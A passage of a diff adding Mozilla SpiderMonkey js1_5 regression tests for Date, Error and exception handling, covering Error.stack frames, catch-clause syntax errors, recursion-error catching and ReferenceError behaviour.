+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346363;
+var summary = 'Date.prototype.setFullYear()';
+var actual = '';
+var expect = true;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d = new Date();
+ d.setFullYear();
+ d.setFullYear(2006);
+ actual = d.getFullYear() == 2006;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Date/shell.js b/js/src/tests/js1_5/Date/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Date/shell.js
diff --git a/js/src/tests/js1_5/Error/browser.js b/js/src/tests/js1_5/Error/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Error/browser.js
diff --git a/js/src/tests/js1_5/Error/constructor-ordering.js b/js/src/tests/js1_5/Error/constructor-ordering.js
new file mode 100644
index 000000000..dbcc2e604
--- /dev/null
+++ b/js/src/tests/js1_5/Error/constructor-ordering.js
@@ -0,0 +1,17 @@
+var order = 0;
+function assertOrdering(ordering) {
+ assertEq(order, ordering);
+ order++;
+}
+
+// Spec mandates that the prototype is looked up /before/ we toString the
+// argument.
+var handler = { get() { assertOrdering(0); return Error.prototype } };
+var errorProxy = new Proxy(Error, handler);
+
+var toStringable = { toString() { assertOrdering(1); return "Argument"; } };
+
+new errorProxy(toStringable);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/js1_5/Error/regress-354246.js b/js/src/tests/js1_5/Error/regress-354246.js
new file mode 100644
index 000000000..a2178c913
--- /dev/null
+++ b/js/src/tests/js1_5/Error/regress-354246.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354246;
+var summary = 'calling Error constructor with object with bad toString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '13';
+
+ actual += '1';
+ try
+ {
+ new Error({toString: function() { x.y } });
+ }
+ catch(e)
+ {
+ }
+ actual += '3';
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Error/regress-412324.js b/js/src/tests/js1_5/Error/regress-412324.js
new file mode 100644
index 000000000..d9debaa89
--- /dev/null
+++ b/js/src/tests/js1_5/Error/regress-412324.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 412324;
+var summary = 'Allow function Error(){} for the love of Pete';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function Error() {}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Error/regress-465377.js b/js/src/tests/js1_5/Error/regress-465377.js
new file mode 100644
index 000000000..4b8800621
--- /dev/null
+++ b/js/src/tests/js1_5/Error/regress-465377.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465377;
+var summary = 'instanceof relations between Error objects';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Exception';
+
+ try
+ {
+ var list = [
+ "Error",
+ "InternalError",
+ "EvalError",
+ "RangeError",
+ "ReferenceError",
+ "SyntaxError",
+ "TypeError",
+ "URIError"
+ ];
+ var instances = [];
+
+ for (var i = 0; i != list.length; ++i) {
+ var name = list[i];
+ var constructor = this[name];
+ var tmp = constructor.name;
+ if (tmp !== name)
+ throw "Bad value for "+name+".name: "+uneval(tmp);
+ instances[i] = new constructor();
+ }
+
+ for (var i = 0; i != instances.length; ++i) {
+ var instance = instances[i];
+ var name = instance.name;
+ var constructor = instance.constructor;
+ if (constructor !== this[name])
+ throw "Bad value of (new "+name+").constructor: "+uneval(tmp);
+ var tmp = constructor.name;
+ if (tmp !== name)
+ throw "Bad value for constructor.name: "+uneval(tmp);
+ if (!(instance instanceof Object))
+ throw "Bad instanceof Object for "+name;
+ if (!(instance instanceof Error))
+ throw "Bad instanceof Error for "+name;
+ if (!(instance instanceof constructor))
+ throw "Bad instanceof constructor for "+name;
+ if (instance instanceof Function)
+ throw "Bad instanceof Function for "+name;
+ for (var j = 1; j != instances.length; ++j) {
+ if (i != j && instance instanceof instances[j].constructor) {
+ throw "Unexpected (new "+name+") instanceof "+ instances[j].name;
+ }
+ }
+ }
+
+ print("OK");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Error/shell.js b/js/src/tests/js1_5/Error/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Error/shell.js
diff --git a/js/src/tests/js1_5/Exceptions/browser.js b/js/src/tests/js1_5/Exceptions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/browser.js
diff --git a/js/src/tests/js1_5/Exceptions/catchguard-002-n.js b/js/src/tests/js1_5/Exceptions/catchguard-002-n.js
new file mode 100644
index 000000000..64c8ea081
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/catchguard-002-n.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "var in catch clause should have caused an error.";
+EXPECTED = "error";
+
+var expect;
+var actual;
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard var declaration negative test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (var e)
+ {
+ actual = e + '';
+ }
+
+ reportCompare(expect, actual, DESCRIPTION);
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/Exceptions/catchguard-003-n.js b/js/src/tests/js1_5/Exceptions/catchguard-003-n.js
new file mode 100644
index 000000000..e9e99eb49
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/catchguard-003-n.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "Illegally constructed catchguard should have thrown an exception.";
+EXPECTED = "error";
+
+var expect;
+var actual;
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard syntax negative test #2.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e)
+ {
+ actual = e + ': 1';
+ }
+ catch (e) /* two non-guarded catch statements should generate an error */
+ {
+ actual = e + ': 2';
+ }
+
+ reportCompare(expect, actual, DESCRIPTION);
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/Exceptions/errstack-001.js b/js/src/tests/js1_5/Exceptions/errstack-001.js
new file mode 100644
index 000000000..834ce037b
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/errstack-001.js
@@ -0,0 +1,245 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 28 Feb 2002
+ * SUMMARY: Testing that Error.stack distinguishes between:
+ *
+ * A) top-level calls: myFunc();
+ * B) no-name function calls: function() { myFunc();} ()
+ *
+ * The stack frame for A) should begin with '@'
+ * The stack frame for B) should begin with '()'
+ *
+ * This behavior was coded by Brendan during his fix for bug 127136.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=127136#c13
+ *
+ * Note: our function getStackFrames(err) orders the array of stack frames
+ * so that the 0th element will correspond to the highest frame, i.e. will
+ * correspond to a line in top-level code. The 1st element will correspond
+ * to the function that is called first, and so on...
+ *
+ * NOTE: At present Rhino does not have an Error.stack property. It is an
+ * ECMA extension, see http://bugzilla.mozilla.org/show_bug.cgi?id=123177
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Error.stack';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var myErr = '';
+var stackFrames = '';
+
+
+function A(x,y)
+{
+ return B(x+1,y+1);
+}
+
+function B(x,z)
+{
+ return C(x+1,z+1);
+}
+
+function C(x,y)
+{
+ return D(x+1,y+1);
+}
+
+function D(x,z)
+{
+ try
+ {
+ throw new Error('meep!');
+ }
+ catch (e)
+ {
+ return e;
+ }
+}
+
+
+myErr = A(44,13);
+stackFrames = getStackFrames(myErr);
+status = inSection(1);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(2);
+actual = stackFrames[1].substring(0,2);
+expect = 'A@';
+addThis();
+
+status = inSection(3);
+actual = stackFrames[2].substring(0,2);
+expect = 'B@';
+addThis();
+
+status = inSection(4);
+actual = stackFrames[3].substring(0,2);
+expect = 'C@';
+addThis();
+
+status = inSection(5);
+actual = stackFrames[4].substring(0,2);
+expect = 'D@';
+addThis();
+
+
+
+myErr = A('44:foo','13:bar');
+stackFrames = getStackFrames(myErr);
+status = inSection(6);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(7);
+actual = stackFrames[1].substring(0,2);
+expect = 'A@';
+addThis();
+
+status = inSection(8);
+actual = stackFrames[2].substring(0,2);
+expect = 'B@';
+addThis();
+
+status = inSection(9);
+actual = stackFrames[3].substring(0,2);
+expect = 'C@';
+addThis();
+
+status = inSection(10);
+actual = stackFrames[4].substring(0,2);
+expect = 'D@';;
+addThis();
+
+
+
+/*
+ * Make the first frame occur in a function with an empty name -
+ */
+myErr = function() { return A(44,13); } ();
+stackFrames = getStackFrames(myErr);
+status = inSection(11);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(12);
+actual = stackFrames[1].substring(0,7);
+expect = 'myErr<@';
+addThis();
+
+status = inSection(13);
+actual = stackFrames[2].substring(0,2);
+expect = 'A@';
+addThis();
+
+// etc. for the rest of the frames as above
+
+
+
+/*
+ * Make the first frame occur in a function with name 'anonymous' -
+ */
+var f = Function('return A(44,13);');
+myErr = f();
+stackFrames = getStackFrames(myErr);
+status = inSection(14);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(15);
+actual = stackFrames[1].substring(0,10);
+expect = 'anonymous@';
+addThis();
+
+status = inSection(16);
+actual = stackFrames[2].substring(0,2);
+expect = 'A@';
+addThis();
+
+// etc. for the rest of the frames as above
+
+
+
+/*
+ * Make a user-defined error via the Error() function -
+ */
+var message = 'Hi there!'; var fileName = 'file name'; var lineNumber = 0;
+myErr = Error(message, fileName, lineNumber);
+stackFrames = getStackFrames(myErr);
+status = inSection(17);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+
+/*
+ * Now use the |new| keyword. Re-use the same params -
+ */
+myErr = new Error(message, fileName, lineNumber);
+stackFrames = getStackFrames(myErr);
+status = inSection(18);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Split the string |err.stack| along its '\n' delimiter.
+ * As of 2002-02-28 |err.stack| ends with the delimiter, so
+ * the resulting array has an empty string as its last element.
+ *
+ * Pop that useless element off before doing anything.
+ * Then reverse the array, for convenience of indexing -
+ */
+function getStackFrames(err)
+{
+ var arr = err.stack.split('\n');
+ arr.pop();
+ return arr.reverse();
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Exceptions/regress-121658.js b/js/src/tests/js1_5/Exceptions/regress-121658.js
new file mode 100644
index 000000000..8da92a7ec
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-121658.js
@@ -0,0 +1,124 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 Jan 2002
+ * SUMMARY: "Too much recursion" errors should be safely caught by try...catch
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=121658
+ *
+ * In the cases below, we expect i>0. The bug was filed because we
+ * were getting i===0; i.e. |i| did not retain the value it had at the
+ * location of the error.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 121658;
+var msg = '"Too much recursion" errors should be safely caught by try...catch';
+var TEST_PASSED = 'i retained the value it had at location of error';
+var TEST_FAILED = 'i did NOT retain this value';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var i;
+
+
+function f()
+{
+ ++i;
+
+ // try...catch should catch the "too much recursion" error to ensue
+ try
+ {
+ f();
+ }
+ catch(e)
+ {
+ }
+}
+
+i=0;
+f();
+status = inSection(1);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Now try in function scope -
+function g()
+{
+ f();
+}
+
+i=0;
+g();
+status = inSection(2);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Now try in eval scope -
+var sEval = 'function h(){++i; try{h();} catch(e){}}; i=0; h();';
+eval(sEval);
+status = inSection(3);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Try in eval scope and mix functions up -
+sEval = 'function a(){++i; try{h();} catch(e){}}; i=0; a();';
+eval(sEval);
+status = inSection(4);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = formatThis(actual);
+ expectedvalues[UBound] = formatThis(expect);
+ UBound++;
+}
+
+
+function formatThis(bool)
+{
+ return bool? TEST_PASSED : TEST_FAILED;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(msg);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Exceptions/regress-123002.js b/js/src/tests/js1_5/Exceptions/regress-123002.js
new file mode 100644
index 000000000..ab9d73b60
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-123002.js
@@ -0,0 +1,93 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 01 Feb 2002
+ * SUMMARY: Testing Error.length
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123002
+ *
+ * NOTE: Error.length should equal the length of FormalParameterList of the
+ * Error constructor. This is currently 1 in Rhino, 3 in SpiderMonkey.
+ *
+ * The difference is due to http://bugzilla.mozilla.org/show_bug.cgi?id=50447.
+ * As a result of that bug, SpiderMonkey has extended ECMA to allow two new
+ * parameters to Error constructors:
+ *
+ * Rhino: new Error (message)
+ * SpiderMonkey: new Error (message, fileName, lineNumber)
+ *
+ * NOTE: since we have hard-coded the length expectations, this testcase will
+ * have to be changed if the Error FormalParameterList is ever changed again.
+ *
+ * To do this, just change the two LENGTH constants below -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 123002;
+var summary = 'Testing Error.length';
+var QUOTE = '"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var LENGTH_EXPECTED = 1;
+
+/*
+ * The various NativeError objects; see ECMA-262 Edition 3, Section 15.11.6
+ */
+var errObjects = [new Error(), new EvalError(), new RangeError(),
+ new ReferenceError(), new SyntaxError(), new TypeError(), new URIError()];
+
+
+for (var i in errObjects)
+{
+ var err = errObjects[i];
+ status = inSection(quoteThis(err.name));
+ actual = Error.length;
+ expect = LENGTH_EXPECTED;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function quoteThis(text)
+{
+ return QUOTE + text + QUOTE;
+}
diff --git a/js/src/tests/js1_5/Exceptions/regress-257751.js b/js/src/tests/js1_5/Exceptions/regress-257751.js
new file mode 100644
index 000000000..f95dedff4
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-257751.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 257751;
+var summary = 'RegExp Syntax Errors should have lineNumber and fileName';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+var re;
+
+status = summary + ' ' + inSection(1) + ' RegExp("\\\\") ';
+try
+{
+ expect = 'Pass';
+ re = RegExp('\\');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' RegExp(")") ';
+try
+{
+ expect = 'Pass';
+ re = RegExp(')');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' /\\\\/ ';
+try
+{
+ expect = 'Pass';
+ re = eval('/\\/');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(4) + ' /)/ ';
+try
+{
+ expect = 'Pass';
+ re = eval('/)/');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Exceptions/regress-273931.js b/js/src/tests/js1_5/Exceptions/regress-273931.js
new file mode 100644
index 000000000..000b5f310
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-273931.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 273931;
+var summary = 'Pop scope chain in exception handling';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' ';
+try
+{
+ with ({foo:"bar"})
+ throw 42;
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' ';
+try
+{
+ with ({foo:"bar"})
+ eval("throw 42");
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' ';
+try
+{
+ var s = "throw 42";
+ with ({foo:"bar"})
+ eval(s);
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Exceptions/regress-315147.js b/js/src/tests/js1_5/Exceptions/regress-315147.js
new file mode 100644
index 000000000..49b49ae5f
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-315147.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315147;
+var summary = 'Error JSMSG_UNDEFINED_PROP should be JSEXN_REFERENCEERR';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var o = {};
+
+try
+{
+ o.foo;
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Exceptions/regress-332472.js b/js/src/tests/js1_5/Exceptions/regress-332472.js
new file mode 100644
index 000000000..df17f2ebe
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-332472.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 332472;
+var summary = 'new RegExp() ignores string boundaries when throwing exceptions';
+var actual = '';
+var expect = true;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str1 = "?asdf\nAnd you really shouldn't see this!";
+var str2 = str1.substr(0, 5);
+try {
+ new RegExp(str2);
+}
+catch(ex) {
+ printStatus(ex);
+ actual = ex instanceof SyntaxError;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Exceptions/regress-333728.js b/js/src/tests/js1_5/Exceptions/regress-333728.js
new file mode 100644
index 000000000..bf6f4ea34
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-333728.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 333728;
+var summary = 'Throw ReferenceErrors for typeof(...undef)';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ actual = typeof (0, undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (0, undef)');
+
+try
+{
+ actual = typeof (0 || undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (0 || undef)');
+
+try
+{
+ actual = typeof (1 && undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (1 && undef)');
+
+/*
+ try
+ {
+ actual = typeof (0 ? 0 : undef);
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary + ': typeof (0 ? 0 : undef)');
+*/
+
+/*
+ try
+ {
+ actual = typeof (1 ? undef : 0);
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary + ': typeof (1 ? undef : 0)');
+*/
+
+try
+{
+ actual = typeof (!this ? 0 : undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (!this ? 0 : undef)');
diff --git a/js/src/tests/js1_5/Exceptions/regress-342359.js b/js/src/tests/js1_5/Exceptions/regress-342359.js
new file mode 100644
index 000000000..af5e2647f
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-342359.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 342359;
+var summary = 'Overriding ReferenceError should stick';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// work around bug 376957
+var SavedReferenceError = ReferenceError;
+
+try
+{
+ ReferenceError = 5;
+}
+catch(ex)
+{
+}
+
+try
+{
+ foo.blitz;
+}
+catch(ex)
+{
+}
+
+if (SavedReferenceError == ReferenceError)
+{
+ actual = expect = 'Test ignored due to bug 376957';
+}
+else
+{
+ expect = 5;
+ actual = ReferenceError;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Exceptions/regress-347674.js b/js/src/tests/js1_5/Exceptions/regress-347674.js
new file mode 100644
index 000000000..63bc36616
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-347674.js
@@ -0,0 +1,63 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "347674";
+var summary = "ReferenceError thrown when accessing exception bound in a " +
+ "catch block in a try block within that catch block";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function foo()
+{
+ try
+ {
+ throw "32.9";
+ }
+ catch (e)
+ {
+ try
+ {
+ var errorCode = /^(\d+)\s+.*$/.exec(e)[1];
+ }
+ catch (e2)
+ {
+ void("*** internal error: e == " + e + ", e2 == " + e2);
+ throw e2;
+ }
+ }
+}
+
+try
+{
+ try
+ {
+ foo();
+ }
+ catch (ex)
+ {
+ if (!(ex instanceof TypeError))
+ throw "Wrong value thrown!\n" +
+ " expected: a TypeError ('32.9' doesn't match the regexp)\n" +
+ " actual: " + ex;
+ }
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Exceptions/regress-350650-n.js b/js/src/tests/js1_5/Exceptions/regress-350650-n.js
new file mode 100644
index 000000000..aafb6734a
--- /dev/null
+++ b/js/src/tests/js1_5/Exceptions/regress-350650-n.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350650;
+var summary = 'js reports "uncaught exception';
+var actual = 'Error';
+var expect = 'Error';
+
+expectExitCode(3);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
